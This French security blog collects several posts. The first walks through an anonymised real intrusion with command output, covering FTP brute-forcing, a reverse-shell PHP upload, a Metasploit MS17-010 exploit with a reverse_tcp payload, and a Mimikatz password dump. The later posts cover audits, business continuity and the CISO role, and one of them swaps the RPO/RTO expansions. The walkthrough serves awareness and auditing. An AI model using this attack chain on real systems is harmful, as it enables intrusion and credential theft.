Sécurité Numérique


Le sécurité numérique des entreprises

Anatomie d'une attaque informatique

Au cours de cet article, je vous propose de décortiquer le processus d'une attaque informatique à distance. Il s'agit d'un cas réel, pour lequel l'entreprise a entrepris des actions correctives. Pour des raisons éthiques, toute information potentiellement sensible a été anonymisée ou supprimée.

Comme l'indique le schéma ci-après, un attaquant (à droite et en rouge) connecté à internet, tente de s'introduire sur le réseau de l'entreprise (à gauche).

Phase 1 - Découverte

En premier lieu l'attaquant va énumérer les services logiciels fournis par l'entreprise sur internet. Bien souvent le management n'a pas connaissance de l'existence de ses services, et des risques encourus L'attaquant découvre :

  • Un site internet
  • Un serveur de transfert de fichiers (FTP)

Le serveur FTP est accessible en mode anonyme, ce qui permet une connexion sans pouvoir utiliser les fonctions de transfert de fichier. On peut considérer que le mode anonyme est "sécurisé". Toutefois il permet d'obtenir une information qui peut paraître anodine, mais qui a une grande importance pour la suite : le nom de compte d'un utilisateur "administrateur" peut être découvert lors d'une connexion anonyme.

root@attaquant:~ $ ftp ftp.entreprise.fr
Connected to ftp.entreprise.fr.
220 xxx.xxx.xxx.xxx FTP server ready
Name (ftp.entreprise.fr:root): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.

La commande ls -lha donne l'information concernant la présence d'un compte "admin" sur le serveur FTP.

ftp> ls -lha
227 Entering Passive Mode
150 Opening ASCII mode data connection for file list
drwxr-s---   2 admin    group       4.0k Dec  6  2017 .
drwxr-s---   2 admin    group       4.0k Dec  7  2017 ..
226 Transfer complete
ftp>

Phase 2 - tentative d'accès non autorisé

L'attaquant sait désormais qu'une personne s'identifie auprès du serveur en tant que "admin". Il va mener sur ce compte une simple attaque basée sur un dictionnaire de mots de passe. Ces dictionnaires sont librement téléchargeables sur le web.

Grâce à des outils comme hydra ou medusa, l'attaquant obtient le mot de passe du compte FTP admin.

ACCOUNT FOUND: [ftp] Host : xxx.xxx.xxx.xxx
User: admin Password: tintin [SUCCESS]

Phase 3 - obtenir un accès plus complet au serveur

Désormais l'attaquant en tant qu'admin, possède des permissions d'écriture sur le serveur web. Il lui est donc permis d'envoyer sur le serveur une backdoor qui établira une connexion vers sa machine quand elle sera exécutée.

ftp> cd html
250 CWD command successful
ftp> put shell.php
local: shell.php remote: shell.php
227 Entering Passive Mode.
150 Opening BINARY mode data connection for shell.php
226 Transfer complete
1113 bytes sent in 0.00 secs (14.9499 MB/s)

L'éxécution de shell.php initie une connexion vers la machine de l'attaquant. Ce dernier dispose ainsi d'un shell sur le serveur (et plus seulement un accès FTP) qui lui permet de mener d'autres actions sur le réseau interne de l'entreprise.

Phase 4 : identifications des machines du réseau et de leurs vulnérabilités

L'attaquant balaie et identifie les machines du réseau. Il découvre un serveur Active Directory vulnérable à MS17-010.

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > set RSHOSTS xxx.xxx.xxx.xxx/24
rhosts => xxx.xxx.xxx.xxx/24
msf auxiliary(scanner/smb/smb_ms17_010) > run
[+] xxx.xxx.xxx.xxx:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Phase 5 : exploitation de la vulnérabilité MS17-010

Grâce au framework metasploit, l'attaquant exploite la vulnérabilité MS17-010 non corrigée et obtient un accès au serveur Active Directory.

msf auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > set RHOST xxx.xxx.xxx.xxx
msf exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_psexec) > set LPORT 443
msf exploit(windows/smb/ms17_010_psexec) > run

[]*] Started reverse TCP handler on xxx.xxx.xxx.xxx:443
[*] xxx.xxx.xxx.xxx:445 - Target OS: Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] xxx.xxx.xxx.xxx:445 - Built a write-what-where primitive...
[+] xxx.xxx.xxx.xxx:445 - Overwrite complete... SYSTEM session obtained!
[*] xxx.xxx.xxx.xxx:445 - Selecting PowerShell target
[*] xxx.xxx.xxx.xxx:445 - Executing the payload...
[+] xxx.xxx.xxx.xxx:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to xxx.xxx.xxx.xxx
[*] Meterpreter session 3 opened (xxx.xxx.xxx.xxx:443 -> xxx.xxx.xxx.xxx:46491) at 2018-02-10 15:20:38 +0000

meterpreter > background
[*] Backgrounding session 3...

Phase 6 : obtention du mot de passe administrateur du domaine

Grâce à Mimikatz l'attaquant obtient le mot de passe administrateur du domaine, stocké en clair dans la mémoire de la machine.

meterpreter> load Mimikatz
meterpreter> wdigest
0;1368385624  Kerberos   DOMAINE     netadmin       1234
0;2500325002  Kerberos   DOMAINE     user1        password1
0;68817461    Kerberos   DOMAINE     user2           password2
0;2599386119  Kerberos   DOMAINE     user3      password3
0;2600098700  Kerberos   DOMAINE     administrateur  Very$ecureP@ssw0rdVeryL0ngAndDifficultToGuess
0;2581308498  Kerberos   DOMAINE     user8         password8
0;2589349129  Kerberos   DOMAINE     user4     password4
0;2597681195  Kerberos   DOMAINE     user5      password5
0;2597641064  Kerberos   DOMAINE     user6         password6
0;2595339032  Kerberos   DOMAINE     user7         password7

L'accès administrateur du domaine étant obtenu, l'attaquant poursuit ses investigations sur l'ensemble des systèmes du réseau, à la recherche d'information sensibles.

Conclusion

L’enchaînement de plusieurs vulnérabilités peut mener à la compromission d'un réseau informatique : tester et auditer votre sécurité.


eCPPT course and exam review

I decided to write this eCPPT course review after passing the exam. It's a totally independent review, I have nothing to gain.

Course

eCPPT is a pentesting certification which will actually teach you skills through high quality courses and practical labs. You will learn :

  • Penetration testing processes and methodologies
  • WebApp security (vulnerability assessment, SQL Injections, LFI/RFI, XSS, CSRF)
  • Network security (vulnerability assessment, performing attacks and pivoting, sniffing, poisoning, privilege escalation and persistence)
  • System security (especially Exploit Development)
  • Wireless security (discover and attack)
  • Advanced exploitation with ruby and metasploit

Moreover, you will learn how to elaborate a real profesionnal pentesting report : this is very good point. It's not a question of how to caputre a flag. This is important if you want to join the infosec business : you will get advanced reporting skills

Note that manual and automated web application exploitation is taught which allow to really understand vulnerabilities, and not only use scripts or tools.

There are many slides and hours of videos. You will nerver be bored !

Of course you will learn the metasploit framework use.

Labs

To pass eCPPT you will not have to only learn theorical concepts and then answer multiple choice questions. You will have to get hands-on experience through the labs. This is the strenght of eCPPT.

Please note that the labs are oriented to skills you : forget about "Capture The Flag" in this course. I think this is a better orientation compared to others certifications.

You are "alone" in your labs virtual environment. You can reset a lab if things become wrong. All labs certifications do not allow it.

Tools

PPT course teach you how to use a large toolbox for scan, assess, exploit, post-exploit... During the exam, you will not be limited for the tools use.

Exam

First, I will not tell to much about the exam itself. I don't want to include exam spoilers. If you have done the labs, everything should be fine. If you fail, you'll have a second chance.

The exam consists of two parts : doing a real world pentest, and then writing a report. Each part lasts one week. An engagement is provided and indicate your scope and objectives.

I spent about 35 hours in the first part (I took few days off). Some targets are harder than others, and hardests can be demotivating : try again and again and take breaks !

For the repporting part, I recommend preparing a report support before starting the exam. Moreover don't forget to write notes and take screenshots of all what you could use in your report. You will have to organize all of your information, prepare a detailed analysis and provide remediation actions.

Conclusion

eCPPT will dive you into the penetration testing world. It provides high quality materials and good support thanks to the active forum where admins will always answer.

I loved the labs and the exam was really interesting as they reflect real company networks.

Before taking the exam, don't forget to prepare coffee and energy drinks, you will need them !

eCPPT was a very enjoyable experience !


Sécurité numérique : deux idées reçues

Aujourd'hui je voudrais tordre le cou à deux idées reçues au sujet de la sécurité du numérique. La première : "la sécurité coûte cher". Il est vrai qu'acheter (ou se faire vendre) des outils hi-tech derniers cris est loin d'être bon marché. Sachez-le, la sécurité n'est ni un logiciel, ni un matériel. Quand on vous vend un outil pour répondre à un problème de sécurité, il y a fort à parier que le problème de sécurité demeurera. La sécurité c'est une démarche, des bonnes pratiques, un cadre et des compétences. Alors non la sécurité ne coûte pas si chère. Et d'ailleurs, bien souvent les entreprises disposent déjà de nombreux éléments de sécurité. Il y aura toujours un bon vendeur pour vous dire que votre pare-feu n'est plus d'actu et qu'il ne protège pas des nouvelles "failles". Oui peut être. Mais ces fameuses failles existent-t-elles seulement au sein de votre entreprise ? Et si une faille existe pourquoi ne pas la traiter plutôt qu'investir dans un outil pour s'en protéger ? Et d'ailleurs pourquoi cette faille existe ? Est-elle concrètement "attaquable" ?

La deuxième idée reçue : "la sécurité numérique, c'est compliqué". C'est le discours de dirigeants que j'ai rencontré. Je leur réponds qu'ils voient la sécurité comme un nids de serpent, et qu'ils ne veulent pas en entendre parler tant que tout va bien. Ce qui est compliqué c'est d'accepter de considérer la sécurité, faire entrer l'entreprise dans une démarche sécurité. Pour le reste, les experts s'en sortent très bien.


Les différences entre audit, évaluation de vulnérabilité et test d'intrusion

Les termes de tests d'intrusion, évaluation de vulnérabilité et audit de sécurité sont souvent utilisés et confondus par les fournisseurs de services de sécurité ou leurs clients. Cependant ces trois termes décrivent des aspects de la sécurité vraiment différents.

Si vous êtes intéressé par nos services de sécurité, veuillez consulter le portail !

L'audit de sécurité

Auditer signifie évaluer le niveau de risque d'un système ou d'une application vis à vis d'un standard, d'une norme ou de bonnes pratiques. En bref il s'agit d'un ensemble de règles organisationnelles et techniques qui visent à atteindre un niveau minimal de sécurité (Note : l'application de normes organisationnelles ne garantit en rien un niveau de sécurité). D'ailleurs dans de nombreux cas les audits de sécurité procure un faux sentiment de sécurité. La plupart des standards et guides ont un mode de mise à jour qui ne leur permettent pas d'être actualisés en temps et en heures face aux nouvelles menaces qui apparaissent sans cesse. Il est hautement recommandé d'aller au delà des normes et standards pour atteindre un niveau de sécurité acceptable face aux menaces de ce nouveau monde en gestation numérique.

Évaluation des vulnérabilités

L'évaluation des vulnérabilités est un processus au cours duquel les composants réseaux, les systèmes et les applications sont "scannés" dans le but d'identifier la présence de vulnérabilités connues. Une vulnérabilité est un écart, une erreur ou encore une faiblesse dans la conception d'un système. Lorsqu'une vulnérabilité est exploitée, il peut en résulter des accès non autorisés, l'obtention de privilèges ou un déni de service sur un actif informationnel potentiellement essentiel pour l'activité de l'entreprise.

Le processus d'évaluation des vulnérabilités se termine dès lors que les vulnérabilités sont identifiées. Cette activité ne se poursuit pas jusqu'à leur exploitation. On ne vérifie donc pas si elles sont réellement exploitable. Le livrable indique un niveau de risque potentiel associé aux vulnérabilités détectées. Des éléments de rémédiation sont également proposés. L'évaluation des vulnérabilités apporte une valeur au client en lui permettant d'établir un plan d'action sécurité.

Test d'intrusion

Pour le test d'intrusion il s'agit d'attaquer les vulnérabilités détectées via des méthodes similaires à celles d'un attaquant malveillant. Il s'agit bien évidemment d’attaque "bienveillante" dans un cadre éthique. On parle d'ailleurs de hacking éthique. En général, un client demande un test d'intrusion lorsque qu'il souhaite vérifier que les mesures de sécurité qu'il a mis en place sont effectives et qu'elle couvre un périmètre donné. La différence essentielle avec l'évaluation des vulnérabilités et que le test d'intrusion va permettre de définir que les vulnérabilités sont réellement exploitables. La valeur pour le client est qu'il va découvrir comment l’enchaînement de l'exploitation de multiples vulnérabilités résulte en quelque chose de potentiellement dangereux pour la pérennité de l'entreprise.

Action

Vous disposez de prestataires d'audit sécurité informatique dans le Jura, alors n'hésitez plus !


Des collectivités bien bavardes

Au cours de l'une des premières phases de leurs actions malveillantes, les pirates tentent de récupérer un maximum d'information concernant leur cible. En effet, mieux ils en ont connaissance et mieux ils parviendront à l'attaquer.

Grâce à des outils en ligne aussi simple que Shodan, les hackers malveillants collectent passivement des informations juteuses au sujet d'entreprises et collectivités.

Les collectivités jurassienne sur Shodan

Ces informations leur permettent d'identifier des vulnérabilités, des équipements connectés fournissant trop d'information car mal configurés ou ne respectant pas les bonnes pratiques de sécurité informatique.

Il y a encore beaucoup d'efforts à mener pour que la sécurité informatique soit prise en compte dans les collectivités et les entreprises.

Il faut réagir, se prévenir des attaques, et commencer par un audit de sécurité.


La faille des procédures dégradées des métiers de la santé

Tout établissement de santé ayant déployé un dossier patient informatisé (DPI) a conçu un plan de secours, déclenché en cas de perte de moyens informatiques (dans le cas contraire, il est temps de vous y mettre !). C'est inéluctable, les systèmes informatiques finissent par tomber en panne, et lorsqu'un DPI ne fonctionne plus, c'est à peu près toutes les activités de l'hôpital qui sont affectées : du soin au patient, aux admissions en passant par les finances etc.

La possession d'un plan de secours est strictement nécessaire pour limiter l'impact d'un arrêt informatique et en général, les équipes DSI et métiers consacrent un temps de réflexion conséquent à la conception de ce plan.

Cet article a pour but de montrer que ce type de plan de secours pourrait bien avoir son talon d'Achille, totalement inconnu aux yeux des leurs concepteurs. Une faiblesse qui reviendrait à n'avoir aucun plan et à laisser les équipes soignantes et médicales face à de sérieuses difficultés. Quelle est la faille de ce plan ? Posez vous cette simple question : quelle indisponibilité la plus longue avons nous envisagée ?

Êtes vous préparé pour un arrêt du DPI d'une heure ? 4 heures ? 24 heures ? Et si le DPI devait être coupé 10 jours ?

Dix jours, c'est la durée d'interruption de DPI subie par un hôpital du Colorado. Et ce n'est pas une expérience isolée ! Le pire scénario s'y est produit : le SI entier de l'établissement a été défaillant pendant 10 journées consécutives.

L'enseignement majeur à tirer de cette douloureuse expérience est que nous n’imaginons pas de scénarios assez pessimistes lors de l'estimation des risques. La plupart des hôpitaux définit un temps de coupure court d'une heure, voire moins. Ensuite des procédures palliatives sont jouées jusqu'à 4 à 12 heures au plus. Cette approche quantifie les probabilités d'indisponibilité du dossier patient informatisé en seulement quelques heures, mais les récentes expériences d'hôpitaux notamment aux États Unis, démontrent que les procédures dégradées devraient être basées sur des arrêts potentiellement longs. Raisonner en termes de conséquences d'une absence d'un système d'information durant des heures, voire des jours convaincra votre direction du besoin de réviser les procédures dégradées métier en imaginant des interruptions longues.


Comment déterminer les priorités des SI de santé dans l'établissement d'un PRA ?

Pour de nombreux hôpitaux, les sauvegardes et restaurations de données sont des tâches lourdes à planifier et à gérer au quotidien. Les volumes de données se multiplient tellement rapidement que la réalisation d'une sauvegarde dans la fenêtre temporelle initialement définie devient complexe, voire impossible. De plus, l'explosion du numérique et des moyens de collectes vont engendrer une évolution du volume mondial de données de santé, on parle de multiplier ce volume de données de santé par 50 d'ici 2020...

Développer de bonnes pratiques de protection des données de santé, et passer d'un mode de sauvegarde difficile à une stratégie globale de plan de reprise d'activité ; tels sont les enjeux de la sécurité.

L'étape essentielle dans l'établissement d'un plan de reprise d'activité est la priorisation de chaque composant des systèmes d'information de santé. Pour ce faire, le RSSI (Responsable Sécurité des Systèmes d'Information) doit prendre en considération deux notions : le RPO (Recovery Time Objective) et le RTO (Recovery Point Objective).

  • Le RTO correspond à la durée maximale d'interruption admissible d'une activité. Il s'agit du temps maximal dont disposent les équipes infrastructures pour rendre fonctionnel un service sinistré. Le RTO est défini est répondant à la question : "combien de temps pouvons nous nous permettre de nous passer d'un système ?"

  • Le RPO détermine la durée maximale d'enregistrement de données qu'on peut se permettre de perdre lors d'un sinistre. Il s'agit du point à partir duquel il faut absolument être capable de disposer de sauvegardes valides. En somme il faut se poser la question "combien de données nous permettons nous d'avoir à récréer, réintégrer, resaisir..?"

Un hôpital ne possède pas un seul RPO ou RTO pour toutes ces activités. Un niveau de criticité doit être affecté à tous les systèmes pour déterminer dans quel ordre ils seront restaurés et selon quelle planification ils seront sauvegardés. Cette priorisation en fonction de la criticité est la clé du PRA. Par exemple, un établissement de santé peut juger que son DPI (Dossier Patient Informatisé) est l'application la plus critique. Par conséquent il va lui assigner un niveau de criticité maximal et donc les RPO et RTO les plus courts. En revanche, la messagerie, même si elle est nécessaire à la communication, peut être jugée moins critique car elle n'intervient pas dans le processus de prise en charge du patient. Son niveau de RTO peut être positionné à un niveau court et son RPO à un niveau long.

Le volume de données ainsi que leur type, influencent le RPO et le RTO, et la stratégie de protection des données qui sera adoptée.

RPO/RTO des systèmes fréquemment actualisés

Les systèmes dont les données sont mises à jour fréquemment au cours de la journée, comme les dossiers patients, posséderons un RPO et un RTO court. Il est possible qu'un RPO d'une à quatre heures soit nécessaire. Avec un RPO de 4 heures, une sauvegarde doit avoir lieu 6 fois par jour. Les technologies actuelles de réplication et de snapshot permettent un RPO d'une heure. Elles fournissent également des possibilité de RTO très court. Les copies répliquées étant "démarrables" sans avoir à être restaurées. Toutefois, un second datacenter doit permettre d'accueillir les données complètes des systèmes répliqués.

RPO/RTO des systèmes PACS (Picture Archiving and Communication Systems)

Ces systèmes nécessitent également des RPO et RTO courts même si les données de ce type de système représentent un défi pour la sauvegarde, en considérant leur volume. Comment réaliser un snapshot de plusieurs TB de donneés ? C'est impossible, si on veut être rapide. Le RPO sera donc plus long, tout comme le RTO : la durée de restauration d'un tel volume de données est très élevée.

Toutefois les bases de données qui constituent les PACS ne sont pas si volumineuses et peuvent bénéficier d'un couple RPO/RTO identique à celui d'un DPI. Je le précise, ce qui représente un défi dans la sauvegarde du PACS, c'est le volume des données (les images). Heureusement elles sont statiques. Les métadonnées associées aux images peuvent changer, mais l'image elle même ne change pas. Effectuer une duplication fréquente de ces images constituerait une mauvaise tactique. Pourquoi sauvegarder des données qui ne changent pas ?

Une duplication de données est utile pour restaurer un système complet. En ce qui concerne les données volumineuses et statiques, l'archivage est une meilleure approche. La mise en place de copies géographiquement réparties des données, sur des supports différents permet d'atteindre un bon RPO et RTO pour les systèmes de type PACS. Par exemple, en cas de sinistre, votre base de données de PACS peut être restaurée aussi rapidement que votre DPI, et pointer sur une copie des images.

La combinaison de sauvegarde et d'archivage fournit une stratégie de PRA optimale en permettant des valeurs de RPO/TRO acceptables sur les technologies de l'information dans la santé.


Le rôle du Responsable de la Sécurite des SI

Votre supérieur vous tombe dessus et vous demande d'assurer la fonction de Responsable Sécurité des Systèmes d'Information. Vous effectuez quelques recherches sur le web et votre moteur de recherche préféré - respectueux votre vie privée - vous offre un voyage vers ce magnifique blog. Bienvenue cher lecteur !

Je vais donner ma vision du poste. Il n'y a probablement pas de définition précise. Ce que je dirais en tout premier lieu, c'est que le RSSI est la MOA (maîtrise d'ouvrage) de la sécurité des Systèmes d'Information de l'entreprise. A ce titre, il définit les besoins, et surtout il définit la démarche SSI. C'est une première et lourde tâche, la conception d'un SMSI (Système de Management de la Sécurité de l'Information ou Système de Gestion de la Sécurité de l'Information) est à envisager sérieusement, si vous êtes dans une entreprise qui ne "bouge" pas sans cesse. Ce serait une perte de temps de mettre en place une telle organisation dans une startup par exemple.

SMSI

Le SMSI est un système de management au même titre que les SMQ (Systèmes de Management de la Qualité). S'appuyer sur la norme ISO 27001 est l'idéal, le Responsable Sécurité des Systèmes d'Information apportera ainsi de la confiance aux parties prenantes en visant la certification. Le SMSI n'est pas un projet inscrit au schéma directeur, mais un système permettant de gérer et améliorer continuellement la sécurité de l'information. Le SMSI ne peut donc pas être inscrit au schéma directeur de la DSI. D'ailleurs le RSSI ne devrait pas être rattaché à la DSI, mais plutôt rattaché à la Direction Générale ou la Direction Qualité. Même si le RSSI entretient des relations étroite avec la DSI, son rôle n'est pas d'assurer la sécurité des équipements informatiques. C'est la maîtrise d'oeuvre de la DSI qui assure cette fonction. Le RSSI formule les besoins en termes de sécurité, étudie les mesures existante et présente les coûts pour atteindre les objectifs à la Direction. La DSI reste responsable de la mise en oeuvre des solutions technologiques éventuellement retenues. Au passage, il ne s'agit pas que de solutions techniques. La plupart des problèmes de sécurité se régleront sans doute par de l'organisation, de la sensibilisation et de la formation** du personnel. La SSI se situe bien en amont des solutions technologiques de sécurité, et à ce sujet, il est indispensable qu'un volet sécurité soit étudié en amont de chaque projet SI.

La gestion des risques

Je reprends, nous parlions du SMSI. Même si vous ne mettez pas en œuvre un véritable SMSI au sens de la norme ISO 27001, en tant que RSSI vous n'échapperez pas à l'incontournable gestion des risques en SSI. Le Responsable Sécurité des SI est le manager du risque IT. Il doit employer les normes (ISO 27005) et méthodes de gestion des risques en SSI (MEHARI, EBIOS) pour évaluer les risques. Cette analyse des risques IT basée sur un inventaire des actifs informationnels permettra de bâtir une véritable politique de sécurité du système d'information (PSSI) adaptée à l'environnement et de viser un niveau de risque acceptable pour la Direction. Si vous travaillez pour une institution (état, hôpitaux, etc.), la tâche se complique, car vous devez vous baser sur la PSSI-E (PSSI de l'Etat). Certains penseront que le travail est ainsi déjà mâché ; alors qu'il va falloir combiner la PSSI-E avec les aspects propres à votre environnement, sans compter le fait que votre propre PSSI est peut-être déjà en partie ou totalement écrite.

Il découlera de la PSSI, la charte d'utilisation des moyens "informatiques". Je note bien le terme informatique entre guillemets car en réalité la PSSI va bien au delà de l'informatique. On devrait pouvoir parler de sécurité des systèmes d'information, sans qu'un ordinateur entre en ligne de compte. Il s'agit de considéré la sécurité dans son ensemble : les usages, les organisations, et les technologies. Le service informatique est lui concerné par les politiques techniques de sécurité. Nous devrions donc plutôt parler de charte d'utilisation des systèmes d'information et des moyens de télécommunication.

En résumé, la fonction de Responsable Sécurité des Systèmes d'Information est de large envergure. Le RSSI travaille pour les métiers, en lien étroit avec la DSI mais son patron est la Direction.